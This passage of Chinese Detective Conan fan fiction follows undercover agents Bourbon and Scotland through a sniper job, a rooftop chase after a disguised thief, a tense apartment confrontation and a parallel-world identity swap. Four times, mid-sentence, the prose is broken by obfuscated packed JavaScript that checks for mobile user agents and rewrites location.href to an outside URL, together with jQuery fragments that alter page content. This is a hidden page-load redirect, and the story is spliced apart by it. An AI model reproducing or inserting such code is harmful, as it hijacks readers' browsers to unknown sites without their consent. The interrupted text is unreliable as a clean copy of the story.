这个任务到底混了多少人进来?! 大约三分钟后,R终于试探着走出了电线杆后。他打开尸体旁的提箱看了一眼,确认里面放着一张软盘后,立刻更换提箱,并把武器塞进了目标手里。 现场布置完毕后,R转身撤离。在小巷拐角,一颗子弹竟擦着他的额前飞过。R身子一矮,眨眼间旋出小巷,消失在了赤井的视野之中。 赤井收枪,将最后一次射击伪装成了狙击失误。 他有意放人一马,却不能让对方意识到这一点,进而怀疑今晚的任务里有另一名卧底,将来顺藤摸瓜揪出赤井。 在这种组织里卧底,真情假意,虚虚实实,人人都为了自己背后的利益,在炙热的血也有凉下去的可能。因此赤井不敢赌,不敢留下任何线索。 这之后,他又用了两发子弹,在一片狼藉的现场中留下了自己插手的痕迹。 一切顺利,唯一的遗憾是R裹得太过严实,赤井看不清他的面孔,不然还能留作谈判把柄…… * hiro不对劲。 波本——或者说安室透、降谷零、Zero、情报组的笑面虎、公安里的冷脸王、未来侦探、未来咖啡店员工——用他的人格和灵魂担保,绿川隆一——或者说苏格兰(我们都知道他会是并已经是)、诸伏景光、hiro,行动组的狙击手——不对劲。 可喜可贺,组织竟然装得下这么多人。 事情要从前天说起:组织与一批社会名流搭上了关系,临时喊情报组过去帮忙。朗姆原本定的宾加,但降谷零强行说服对方将对接人换成了自己。此后但凡组织需要这一批人的情报,传递消息都必须经他之手,这对降谷零提高自己在朗姆心中的重要性大有裨益。 那时他只知道琴酒是任务的负责人,却不知道行动组新收的两个新人也在场,更不知道其中一个还是自己的幼驯染。 降谷零在毕业前就收到了公安的卧底邀请,包括景光在内,他没有告诉任何人,甚至毕业典礼结束的当天就与朋友们断了联系。 他猜测景光会和班长一起去做刑警,没想到再见竟然是在组织。 到这里,降谷零应该有两大猜测,以及从中推导出的三十余种小猜测,需要他运用理性将错误答案一一排除,留下最后的正确答案。但在降谷零调查完“绿川隆一”的身份后,他百分之百地肯定了——景光与他一样是卧底搜查官。 这并非感情用事或决策不谨慎,反而恰恰是在情报充足的情况下进行的最有效率的推理。 因为人的感情才是最有价值的情报,这也是为什么好的销冠总是拥有一个庞大的社交圈。作为与幼驯染结识了十余年的降谷零而言,他的答案不会出错——只要对面是真的景光。 问题就出在这儿。 hiro似乎不认识他了。 两天以来,降谷零的时间几乎都耗在了关东玄月组那帮有钱赌徒的身上,只抽出了一点时间来应付今天这个任务。 昨晚,他与景光通电话,用暗语问他现在方便沟通吗(今,都合はいい)?景光没有回应他。 今晚,他将目标所在地的东南方向700米(4,700)写成了他们常玩的谜题形式,景光还是没有回应他。 那并非拒绝与降谷零沟通的不回应,而是似乎真的没有理解。 另一方面,景光即使同样怀疑降谷零的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337089|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份,他也不应该拒绝交涉,因为已经取得代号的降谷零如果身份不够清白,早就可以供认景光,而不必通过暗号联系。 以景光的性格,主动出击胜于按兵不动。 降谷零倒不怀疑这是组织针对他设下的陷阱——组织要是真扒到了景光这一步,他就该开始考虑怎么结束卧底任务了。因此降谷零目前倾向于一个猜测: 失忆。 这是最危险不过的情况,介于他们还在卧底,“知道并记得自己是谁”看似简单,实则至关重要。 任务结束后,必须马上与hiro——降谷零决定还是这样称呼对方——取得联系。 他一边思索,一边紧紧跟踪着身前的男人。 降谷零的侦查与反侦察成绩都很不错,在实战中更是能够灵活应变。然而,他跟踪着的男人尽管没能甩开他,却总给他一种自己正在被溜的错觉。两人一前一后,悄无声息地穿行在高楼内部,不知不觉地追上了天台。 那男人正是出现在伪装出目标长相,从目标手里骗过提箱,却没有前往交易地点的不速之客。他停在天台边缘,转过身,与目标相同的侧脸映在纯白月光下,半明半暗,看不出丝毫破绽。 易容。降谷零心道。除了贝尔摩德,这还是他第一次见到如此精湛的技艺。是CIA的人吗?如果能抓住的话…… 等等——这应该不是贝尔摩德的测试吧? 降谷零凝固了一下,又立刻反驳自己:组织没必要浪费人力做这种测试,而且在降谷零已知贝尔摩德的易容能力的前提下,对方不暴露易容能力才是上策。 这时,男人笑着,不紧不慢地求教道:“阁下是?” “明明是您那边提出的交易,现在反倒问起我的身份,真让人不知道该怎么回了。” 降谷零故作苦恼地柔声说道。他的眸子在光下也是暗的,仿佛那里禁止了光的介入。 “啊——”男人恍然大悟般,“您是说这颗‘淑女之心’。” 如同呈现宝物一般,男人一手扶住提箱底,一手轻巧地拨开提箱盖,露出里面一颗固定在红丝绒间的祖母绿来。 “宝石?”降谷零扬眉。 “看来这不是您需要的。”男人道,“说起来,我在跟踪那对兄弟的时候,倒是意外发现两人拿反了箱子。您要的东西,会不会在另一边呢?” “在没见到这颗宝石前,我也是这样以为的。但是,幸好没有走反。” “呵呵……” 男人忽然背过身,捏着宝石对准月光,一片如海的彩绿色浮在了他戴了手套的指尖与面颊上。“对于美丽的事物,想要将之收藏起来的心情的确可以理解。” 降谷零慢慢抽出枪来,心想要留下对方的话,至少也要射击肩膀。 “啪。” 男人打了个响指,指尖捏着的忽然从宝石变成玫瑰。他做了个将玫瑰插进胸袋的动作,转过身来。 降谷零开枪射击。 他选的角度很好,除了唯一的一条生路外,男人无论躲向哪边都必然中枪。 而那条生路同时也是绝路—— 男人背对地面,一撤脚,随后坠下了楼。 “抱歉了,这是我送给重要之人的礼物,所以恕难割爱。” 他的声音追随风声消失了。 降谷零吓了一跳,双手持枪,谨慎地走到天台边缘。下面空无一人。 在男人留下的空提箱下,压着一张写有金字的黑色卡片: “有缘再会了,安室先生。——Parrot” 26. 小偷在前,大盗在后(三)(40…… 波本没看见的,远处的绿川看得很清楚。 那易容成目标的男人在跳下天台后,先是出现在了最顶层的窗格里,这时他仍是往下坠的;随后他出现在了再向下数两层的右侧窗格,从背后甩出一条黑色披风,像只飞行在夜空里的乌鸦一样,双翼一摇,眨眼便消失在了夜色中—— 男人扑窗而入,重新钻回了楼内。 “目标仍在视野内。” 绿川对耳麦道。他将吐息放得很轻,丝毫没有对扛在肩头的狙击枪产生影响。 “要活的。”波本微怒的声音传过来。 “我尽力。” 男人与波本在屋顶的对峙,绿川旁观了全程。对方看似漫不经心,实则毫无破绽的举动实在让他不敢打下包票。 绿川只能确定自己此前没见过这个男人,否则以这样的实力,早就压了琴酒与朗姆一头。波本莫非起了招揽的心思? ……好敬业。绿川想。如果他能如此敬业,也不至于十多年来还不温不火地游荡在组织中下游。 他回想起了自己世界的事。 在那里,琴酒是他的老师,贝尔摩德是他的半个监护人,这样的身份在所有人看来都是前途无量,但绿川自己清楚,若不是那个人的要求与自己与生俱来的天赋,他根本不可能在组织手里活过半天。 他加入组织时的年纪虽不算大,但已足够懂事,足够明辨是非了。 因为懂事,所以他知道,自己不杀人的话就得去死,可爸爸妈妈刚把他的命救下来,如果他早早地踏进了三途川,会不会使他们失望? 绿川开出一枪,子弹击中窗户,炸开的玻璃碎片向屋内飞射而去,与子弹一同击中了墙壁、地板与天花板,却没有伤到男人分毫。 他不想死,因为他还没有找到杀害父母的凶手,因为他不希望父母失望,因为他不想——单纯地不想死。 对于那些尚未经历人生的孩子们而言,求生的本能是会在瞬间压过甘愿求死的理性的。 绿川再次开枪,男人此时经过一扇打开的窗户,因此子弹长驱直入,却擦着男人的发顶飞过。那是一定亚麻色的假发,所以可以说,绿川连男人的一根头发丝也没伤到。 另一边,波本似乎也看穿了男人逃跑的障眼法,沿楼梯一路追了下来。他没有追在男人身后,而是挑了一条直通一层的路,准备包抄男人。 如果让现在的他回到过去,他还会开出第一枪吗?绿川想。 他不知道。 他已经习惯了开枪,习惯了遵循组织的命令。就像一天倒退回太阳升起的10小时前,权威专家声称“太阳不会再升起了”,但太阳知道它会的,即使在倒退一千年、一万年,它也会升起。这就是必然注定的事情,是一旦发生就难以转圜、禁止自欺欺人的事情。 狙击枪里还剩三发子弹。 绿川并不焦躁,反而一点一点地平静下来。 第三发射空。 第四发射空。 到第五发时,男人已经接近一楼。而波本快他一步,守在了楼底。 或许是察觉到了潜藏的危险,男人没再继续下楼。他停在一堵墙后。抛出了什么东西。 三秒钟后,烟雾大作,紫灰色的气体糊住窗口,绿川只看得见一道偏深的影子从中掠了过去。 男人准备跳窗改道——绿川如此判断。 他闭上了眼睛。在烟雾弹下,“看见”不再是必要的事情,“模拟”与“推算”才是指引子弹的路标。 黑暗中,红色的十字准心与人影慢慢重合…… 就是现在! 绿川扣下扳机。子弹穿透两层玻璃,带着一丝冰冷的决绝,在发生了偏移后仍然准确无误地命中了什么。 “波本!”绿川低声喊道。 波本没有立刻回应。大约过去半分钟,他才难以置信般地回道:“他逃了。” 他不是刻意打击绿川,而是强掩惊讶地阐述了一个事实。过了一会儿,他像是才从中反应过来似的,补充道:“你击中了他的肩膀,但他毫无反应地向上飞了。” “向上飞?” “对。”波本阴沉地说道,“就像鹦鹉一样。” 男人就这样飞向了无人所知的高空,仿佛命运庇佑着他不会被人杀死。绿川与波本讨论再多也更改不了他携着宝石消失的结局,所以他们同时明智地结束了这一话题。 波本绕到酒店后方,检查了躺在三具尸体间的手提箱。躺在里面的是一张软盘,只要它在,任务就不算失败。 “刚刚只有这三个人吗?”波本注意到小巷墙上的子弹,追问诸星大。 “还有一个,被逃了。”诸星大答。 “他没接触手提箱?” “接触到的都躺在那儿了。” 诸星大风轻云淡的语气仿佛在说:都被我杀了。 良久,波本才在耳麦里哼笑一声。“干得不错。既然是你照看好了任务物品,我会对琴酒提起你的功劳的。” 言下之意是:出了事你来担责。 诸星大却仿佛没听懂似的,矜持地点了点头,说道:“感谢。” 在耳麦里偷听了两人对话的绿川莫名想笑。 确认回收了任务物品后,三人没有停留,前后脚迅速撤离了新米花酒店。 “绿川,”波本通过耳麦喊他,“来找我。” 他没说地点,但多半是他们刚刚追捕男人未遂的那栋高楼。绿川到那里时,一辆白色的马自达RX-7停在楼下,也不知道是怎么开进那样一条小路里去的。 诸星大不在,波本那声吩咐应该是单独对绿川讲的。 为了什么?绿川茫然。 就为了他刚刚没能解开4700的谜题? 4是东南方向,700是距离——照着答案推逻辑的话,很好解答。绿川认为自己解开了,波本不能因此质疑他。 对面,波本摇下车窗,淡淡地看了一眼绿川,说道:“上车。” “还有工作吗,波本?”绿川坐到副驾里,扣上安全带。 “你稍后有事?” “……没。” “那我送你回去。” 很贴心的举动,很温柔的语气,很不怀好意的波本。 完全不打算向绿川询问住址的青年“啪”一声合上电脑,弹出软盘,而后油门一踩,一路不停地驶向绿川的安全屋。尽管这是一处公开的联络地址,但波本若是想给绿川面子,哪怕走走形式也会礼貌地问上一句位置,以擅长玩弄人心为名的青年不可能想不到这一点。 换言之,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346809|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波本给的下马威—— 我知道你的全部秘密,因此不需要你的同意也可以插手你的生活。 绿川反感这种傲慢,但还没有到忍无可忍即将发作的地步,一是因为他在十几年的习惯中提高了自己的阈值,二是因为波本是代号成员。 他在组织学到的第一节课,就是不要和代号成员发生冲突。 因此绿川沉闷地窝在副驾驶座里,一副波本把他卖了他也毫无怨言的模样。期间,波本接了琴酒的一通电话,汇报今晚的任务进展,并表示情报已加密发送至指定邮箱。 挂断后,他单手握住方向盘,另一只手灵活地在手机上敲送了两封邮件。他盲打的技巧很厉害,全程只瞥了两眼手机,分别确认了邮件内容无误。 波本用左手拿的手机,因此屏幕微微偏向绿川那侧。后者为了避嫌,偏头看向了车窗外。 没一会儿,绿川皱起眉头,对波本道:“你被跟踪了。” “是我们。”波本抬手正了正后视镜,目光一扫便了解了情况,“正后一辆,右侧一辆,还有吗?” “前面那辆应该也是。” “坐稳。” 波本笑着将手搭上了换挡杆。 绿川看着仪表盘里的车速节节提升,一股强劲的力道逐渐把他压向座椅。“你要甩掉他们?” “当然。” “没问题吗?” “有什么问题?”波本的眉眼弯起来,使邪恶而阴毒的光芒凝聚在了那双看似柔软的紫灰色眸子里,“只有做坏事的人才会心惊胆战、生怕惹人怀疑——”他语气轻柔,意有所指地说,“难道你要带我去做什么‘坏事’吗,绿川?” 波本发现我是卧底了! 绿川呼吸一滞。 不对,等一等——他下一秒反应过来:我现在清清白白坦坦荡荡,一件通敌叛组织的事都没有做,我害怕什么? 卧底的精神压力原来这么大吗?竟然已经渐渐开始同化他了。 24年来没撒过谎没演过戏,最多是串通志保在琴酒眼皮底下讲小话的绿川试图质疑自己的新人生,但—— “波本……你开慢一点……”他猛吸了一口空气,忍不住吐出肺腑之言。不这样做的话,下一次他就该吐出一些店内罚200、车内罚300的东西了。 波本却仿佛心情很好地反问道:“怎么,不习惯吗?” “习惯……”习惯伏特加开车。 波本毫不在意地继续匀速前进——匀猎豹和鹰的速度,而不是城市交通法则规定的汽车限速,这速度对乘客并不友好,对跟踪者也一视同仁地比了中指。在一段仿佛F1锦标赛般的公路追击战后,跟踪者被彻底甩出了局。 随后,波本敞着车窗,又慢悠悠地兜了几圈,方才停在了绿川的住处外。 绿川捂着翻江倒海的胃跟在波本身后,看对方比主人还主人地走进公寓,上楼,最后站在上锁的门前,为绿川让出了位置。 “我还以为你连钥匙都有呢。”绿川扯扯嘴角,故意刺道。 他以为波本一怒之下真能掏出什么神秘道具撬开他家的指纹锁与密码锁,可对方只是坦然而神秘地笑了笑,什么也没有说。 绿川认命地开了门,忽然想起一个成语: 引狼入室。 27. 27 “坐。”绿川在波本面前放下一瓶没开的矿泉水,试图在家里找回主场作战的自信。 但很可惜,他也只在这个家里待了两个晚上,翻找矿泉水的时候甚至心里没底。好在这个世界的绿川也是绿川,他们都把矿泉水放在了厨房的挂橱里。 矿泉水的旁边还放着一摞纸杯,尽管绿川永远不会用到它们,但它们存在的意义不是被使用,而是为生活伪装出一份日常感。 绿川倒是也可以为波本煮一杯茶——就看后者敢不敢喝了。 波本连矿泉水也没动,毫不客气地在绿川家里东翻西找起来。 书柜顶、鞋架后、茶几底…… “别看了。”绿川站在客厅与厨房的隔断之间,一只手背在身后,另一只手抓着它的手肘,“如果你在找监听或者监控的话,没有那些东西。我检查过一遍了,所以有什么话,你尽管说。” 波本收回在茶几下摸索的手,抱起胳膊看向绿川。他脸上的笑容收起来了,冷着表情时,先前那股危险的气息反而像是消散了,显得平和许多。 也许是屋里装了暖灯光的缘故。绿川想。 “我们得谈谈,绿川。”波本坐回沙发上,额前的刘海投下一层阴影,“不,景光,hiro。” …… 琴酒你看,我真的抓到卧底了诶。 绿川在心底干笑两声,暗道这次是真的引狼入室。条子,这世上怎么会有这么多条子,以至于他身边似乎所有人都是条子——哦,除了琴酒和贝尔摩德,这两位从绿川初入组织起就是一个童工加一个长期工,身份还是很有保障的。 手机放在牛仔裤的口袋里,绿川将它拿出来,然后—— “没用的。” 一把小巧的左轮出现在波本手中,上了膛。 “我刚刚在屋子里粘了一些微型炸弹,国外的新研发,威力不可小觑。一旦我发现你对外传递消息,我就会引爆它们。我不一定毫发无损,但你,”波本轻轻抬了下手中的左轮,“一定会死。” 不是。 绿川想问问这个世界原本的自己,你跟波本真的熟吗?不熟的话,他至于自爆身份跟你对峙?熟的话,他何必动用枪和炸弹来防备你? 好吧,也许是防备“我”。 在波本夺命飚车甩开组织的跟踪后,绿川毫不怀疑这个条子——或者这个疯子——能拉着他用命换答案,事后还能编出一套逻辑完整、时间线合理的说辞来圆自己的故事。 绿川不懂。绿川表示他从没搞懂过这些条子。 他把手机放在茶几中央,坐到了波本对面。 “好,我们谈谈。”绿川道。 他试图分析波本的思路。 首先,距离波本见到绿川已经过去了两天有余,而前者直到现在才刚刚发难,证明他要么太忙,要么花了一些时间来调查绿川是不是他记忆中的那个人。结合波本对他的试探来看,后一种情况的可能性很大。 所以绿川在一定程度上没有露出明显破绽,还没显眼到仿佛摇着大旗呐喊“我不是你们原本的朋友”的程度。 再怎么说,这个世界的绿川也是绿川,即使命运不同,某些本能与习惯也不会改变。 既如此,波本的怀疑应该建立在绿川不是被人掉包,而是发生了某些意外,致使他忘记了波本的基础上…… 不对,怎么越听越像失忆。 绿川恍然理解了昨天松田与伊达航的思路。原来如此,这个推论确实顺理成章,能够完美解释一切现有状况。 那么,就朝这个方向引导波本? 疑问在绿川的脑子里转过一圈,最终被他点头通过。决定了——他现在就是失忆的“绿川隆一”,对条子啊卧底啊反水啊一概不知,三天前清醒过来时就在组织里老老实实地做狙击手,因此下意识地认为这就是自己的职业。真假掺杂,谎言才不会被轻易揭穿。 对面,波本好整以暇地倚在沙发里,手臂放松,仿佛忘了手中还握着一把左轮似的,但枪口仍然对着绿川。 “想好了吗?” 金发黑皮的青年微微偏头,无辜而轻柔地询问道。 “你以为我在想什么?”绿川不动声色。 “想一些……用来欺骗我的借口。” 真聪明。绿川心道。不过—— 他不会因此露出马脚的。 对绿川而言,没有接受过任何表演与伪装训练的他的确不擅长撒谎,可他是有决心与拼死的勇气的人,一旦决定要这样做了,他便会不惜一切代价去达成目标。压力越逼迫他,他就越冷静,越能迅速地思考并做出抉择。 对结果无所谓时,绿川是一团任凭人家搓扁揉圆的面包;而一旦对结果有追求了,他便立刻像被一台效率机器取代了似的,变得比劳模还琴酒。 打个比方来讲,如果把绿川放进小鼠用的实验纸盒里,纸盒两边分别是绿川和一块奶酪,中间隔着一层难以击碎的薄石板。现在对小鼠绿川下指令,说组织需要最短时间内以最简洁的方式取得这块奶酪,小鼠绿川想到的最优解法将是炸弹—— 炸开挡在路上的薄石板,无论爆炸是否会波及自身。 到了这种时候,人将不仅没有破绽,有时甚至还能反制敌手。 “是你提出和我谈谈的,波本。”绿川道,“结果现在一句没问就朝我要答案,你又期待着怎样的回复呢?” “景光——刚刚我这么喊你时,你本能地呈现出了迟疑反应。人想要克制自己的本能反应,只要通过一定的训练也能做到,但想要表演自己其实没有的本能反应却很难,哪怕一流的心理学大师兼演技天才也不可能做到这一点。因此,我推测你还记得自己的本名,并且意识到自己出于某些原因不再使用那个名字。” “难道你用的就是本名了吗?波本、安室透……选择了这种生活的人,有三个乃至四个名字都是正常现象。啊——抱歉,我没有暗指你的身份成疑的意思。” 绿川满怀歉意地笑了笑。 “你质疑我,那么对你自己呢?”波本咄咄逼人地倾起身子,“以你的能力,应该已经猜到自己的身份了吧。” “是的,我猜到了——猜到什么?”绿川抱着手臂,态度松散,脸上的笑容也微妙地含着冷意,“你这是诱导询问呀,波本。” 仿佛被戳到痛点一般,波本咬紧了后槽牙,嘶着气道:“我不是你的敌人,hiro。” “可你手上的枪好像不想承认这一点。” “好。”波本注视着他,缓缓地把枪放到了茶几上,就在绿川的手机旁边,“选择了这种生活的人,再怎么警惕也不为过,对吧?” “炸弹呢?” “骗你的。”波本乖吝地笑着,“一直被你盯着,我哪有时间去粘炸弹。” 绿川伸手摸向茶几下,从沙发上半站起来。 波本忽然探向他的脖颈。 绿川下意识地架起左臂格挡,右手扣着波本的手腕向内一扭,却被对方躲开。绿川暗道不妙——波本刚刚伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351545|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的手是没有攻击性的,如果这时绿川任他碰两下的话,这场对话说不定能顺利告终。 不幸的是,绿川拒绝了他,就像一只应激的猫被逗猫棒吓到。 两人略一交手,而后同时抽开了身。在对视的几秒钟时间里,绿川有些沉重,有些尴尬,还有些“事已至此随便吧”的无力;波本的眼睛依旧阴沉沉的,看不出情绪。 不知是谁先动的第一步,总之等绿川意识到时,两人已经缠斗在了一起,手刀与拳头破风而出的声音带着淋漓气势,直击要害;腿部的动作却不大,只用于在屋内闪转腾挪,小心翼翼地仿佛都避免着破坏家具一样。 “你很聪明,把自己伪装成了一个失忆但已经意识到自己真实身份的人,不着痕迹地诱导我朝这个方向考虑。我承认我有一瞬间被你迷惑了,你学他学得很像,在一些细节上我几乎看不出你们之间的差别,但是,越因为熟悉而被迷惑,也越因此感到陌生。”波本一面与绿川搏斗,一面气也不喘地分析道。 “……琴酒如果知道你有这个体力,说什么也会把你抓来行动组的。”绿川汗然。 “那我可得注意点,别让你把这件事讲出去了。”波本冷笑,“你对他的名字有反应,也了解这间屋子的构造和房间内的物品摆放,行动时却很犹豫,就像是听谁提起过这些但又听得不太仔细似的。你试图表演出一个谨慎多疑、不敢随意交付信任,只能依靠质疑来寻找所谓‘同伴’的形象。这是很明智的思路,因为聪明人不需要答案,需要的是通往答案的道路。” “那么我是哪里引起了你的怀疑?”绿川侧身闪过波本挥来的拳头,又是一击送上。 “你做得太好,以至于过了头。”波本道,“他的话,在确认安全的前提下,是不会采取这样强硬的手段来试探潜在‘盟友’的。坐下来,互通情报,以心换心,在温水里做局,这才是他的风格。” “你们听起来倒是关系很好。” “好到能知道对方的一切——直到你的出现。” 不是……这又是什么剧本? 绿川轻轻敲下一个问号。 “你认识他,”波本一字一句地推断道,他仿佛不会累似的,拳风竟然越发凌厉起来,“他告诉了你关于他的事情,但没有提到他过去的经历。是他出了什么事,拜托你来扮演他吗?还是说,你们控制了他,用恶心人的手段从他那里拿了情报,还剥夺了他的身份。如果这张脸不是假货,那你和他就太像了,像到完全无法区分的地步。整容吗?还是说……” 原来故事还能这么编,绿川心想。 波本干净利落的思路渐渐带偏了绿川的脑回路,不仅如此,就连拳脚功夫也渐渐压过了绿川。后者头昏脑涨,迟缓地避开一招连拳。他额前冒起了虚汗,心脏直跳,仿佛一台鼓风机正埋在胸腔里吹,吹出了让人想要呕吐的压强。 不对,不对……不是他不敌波本,而是他的身体有些不对劲。绿川踉跄地退了两步,倚在墙上。 下一秒,波本冲向他的拳头偏移开,重重砸在了他的耳边。天旋地转间,绿川感到自己前后掉了个个儿,脸颊抵在墙上,双手仿佛被铐在一起般被波本抓在身后。 “说!他在哪!你是谁!” 金发黑皮的青年以绿川前所未闻的严厉语气质问道。但绿川已经没有多余的精力来思考这些他自己也很想知道的问题了,如果要他指出当下感受最深的一点,那将是: 活了20多年第一次被条子抓,哇噻——以后有经验了。 28. 28 意识仿佛电波一样在空中四散漂浮了许久,终于被塞进一个玻璃罐子里,拧好盖子。 景光睁开眼,像个刚从水里获救的人那样急促地捕捉了两口新鲜空气,意识到自己正被反捆双手斜按在墙上,右脸颊扭曲地挤在颧骨与墙壁之间,因此右眼只勉强撑开一条缝隙。用左眼余光瞥到的情况判断,他在家里——不是那个养了花花草草的属于苏格兰的家,而是自己为了卧底搜查而准备的、属于前社畜绿川隆一的家。 即使有所预感,景光还是不敢相信自己就这么轻易地回来了。 那三天究竟是怎么回事?他没钻过什么神秘的衣柜,也没走在路上莫名掉进兔子洞里。离开那个世界前,景光记得自己正在婉拒高明哥的晚餐邀请,可进入那个世界前呢? 收到了琴酒的邮件,然后…… 然后? 景光忙忙碌碌了三天,现在竟然才开始回忆自己进入那个世界前在做些什么,但是—— 一片空白。 琴酒的邮件如同一本系列侦探小说的前情提要,只做到了让景光在阅读后续故事时不会感到疑惑,却没有为他提供足够的细节。 因此当这一部的侦探忽然提到自己在上一部中发现的关键细节时,景光疑惑了。 自己进入那个世界前到底在做些什么?琴酒真的给他发过邮件吗? 进入与离开那个世界的触发机制是什么?此为问题一。 那个世界意味着什么,相对于自己的世界而言又是怎样的存在?此为问题二。 Zero你能不能先松开我?此为问题三。 是的,景光已经从那压制犯人一样的姿势、手腕上的力道、后脑勺上的触感、呼吸的节奏,以及恍惚间听见的那声质问,意识到了把自己按在墙上的家伙正是他的好幼驯染降谷零。 景光思考道:如果两个世界存在微妙的对应关系的话,Zero应该已经化名安室透加入了组织。无论他是否有着卧底搜查官的身份,就眼下这种仿佛闹翻了一样的状况来看,他大概率是打出了“我们认识”或“我们是朋友”的明牌寻求合作,却遭到“我”的拒绝。也就是说,屋子里现在足够安全足够机密,是个适合旧友再遇的好地方。 思及此,景光喊道:“Roro。” 不对。景光失笑。自己腮帮子鼓着,根本发不清楚“ze”的音。 但他感到手腕与后脑勺上的桎梏忽然放松了些——他的幼驯染意会到了那些乱七八糟的音节。 景光从墙上抬起脸颊,活动了下僵硬的肌肉,趁热打铁道:“我是hiro。小学的时候,我给你贴OK绷,你哭着问我长大以后可不可以变异成金发美女医生;初中的时候,你以为一只杜宾犬要攻击你,绕着圈跟他对峙了三分钟,最后整张脸被舔得湿乎乎的,他没有摇尾巴是因为被训练过不可以摇;高中的时候,你梦见我哥变成了我们的国文老师,要抽查《三国志》的全书背诵,背不过的要在国文组办公室罚站一天,办公室里的老师全都长着我哥的脸;大学的时候——” “你是不是说上瘾了……”降谷零无情地揭穿道。 “哎呀,被发现了。”景光笑得完全没有不好意思。 “而且小学我哪有哭!” “有的吧,肯定有的,可能是我记混了。”景光笃定,“而且小孩子哭又不是什么丢人的事情,我那时候不是也经常哭嘛,幸好有Zero陪我。所以——能先松开我吗,Zero?” 背后的青年沉默片刻,松开了手。 景光转过身,捏着手腕松了松骨头,转了两圈脖子。降谷零的手劲一如既往地大,让景光忍不住想起他们在警校对练的那些日子。 “好久不见,Zero。”景光道。金发黑皮的青年站在光下,双臂抱紧,面容严肃,这是在遇到了某些理解不了的难题,努力思索时才会露出的表情。 “到底怎么回事?”降谷零抬手掐上景光的脸颊,左摸摸脖颈与下颌的连接处,右捏捏所有能捏起来的皮肉,活像在盘一块面团。 “不准扯我胡子!”景光痛呼,“这是真货,我好不容易才挑好的胡型!” 降谷零听罢,特意拿指尖贴了贴景光的下颌胡。短短的胡茬压在指肚里有些扎手,像秋田犬头顶的短毛。 “没有易容,没有整容。”降谷零满意地点点头,“欢迎回来,hiro。” 景光结结实实地收到了一个来自幼驯染的拥抱。 两分钟后,他们各自拿回茶几上的枪与手机,准备重开对话。景光一面翻看手机,试图寻找自己这三天以来的动向,一面问在屋里鬼鬼祟祟行踪可疑的降谷零:“你在做什么?” “回收炸弹。”降谷零义正言辞地从玄关的鞋柜旁撕下一枚小型炸弹。 “嗯?”景光抬头看见那枚小型炸弹时,大脑空白了一瞬,“哦……”他想通以后又低头继续翻看手机,“苏格兰吓到你了吗?” “苏格兰?”降谷零敏感地捕捉到了这个称呼。 “这几天待在我身体里的那个家伙。没猜错的话,应该是他吧。” 只穿了一件黑色薄外套与一条牛仔裤的降谷零不知道他把那一手的炸弹塞进了哪儿,衣服仍然服帖地勾勒出身材。他大跨步走到景光面前,坐下,双手按住景光的肩头。 “Hiro,hiro。”他连喊两声,第一声是为了引起景光的注意,第二声是为了引起景光的重视,“你也是卧底,对吧?” “没错。” “我知道你是以狙击手的身份加入组织的,会分配到的工作并不轻松。你现在状况如何?想和我聊聊吗?或者我认识可信的心理咨询师……” 景光失笑地拨了一下幼驯染,“你想到哪里去了啊,Zero。” “不是吗?”降谷零扬眉,“不然你怎么会给自己的副人格起名叫‘苏格兰威士忌’?这可是那群家伙的代号。” “好了好了,我明白了,别担心,我没有任何问题,心理也没有那么脆弱,否则根本通过不了公安部的入职测试,不是吗?”景光将幼驯染紧张兮兮抓在肩头的手放下来,安抚地握在手里,“Zero……下面我要说的事,你千万别害怕。” “我是卧底,我不会怕,你说。” “我刚才,被平行时空绑架。” “平行时空是哪一位?”降谷零肃然起敬,“你确定自己没问题吗,hiro?” “……”景光微笑,“我要继续讲你大学的糗事了,Zero。” “那些事情给我忘掉啊!” “明明很可爱嘛。好啦——我真的在讲正事,没有发烧,也没有精神失常。”景光认真看向幼驯染的眼睛,“我在那边的世界里以‘苏格兰’的身份,度过了大约三天时间。” 景光简要提起了自己遇见完全不熟的组织新人安室透、被琴酒称作学生,以及似乎从小生活在组织内部的事情。 自从听见“安室透”出场,降谷零的神色便立刻严肃起来。待景光讲完,他说道:“立林制药……一个月前我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361371|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 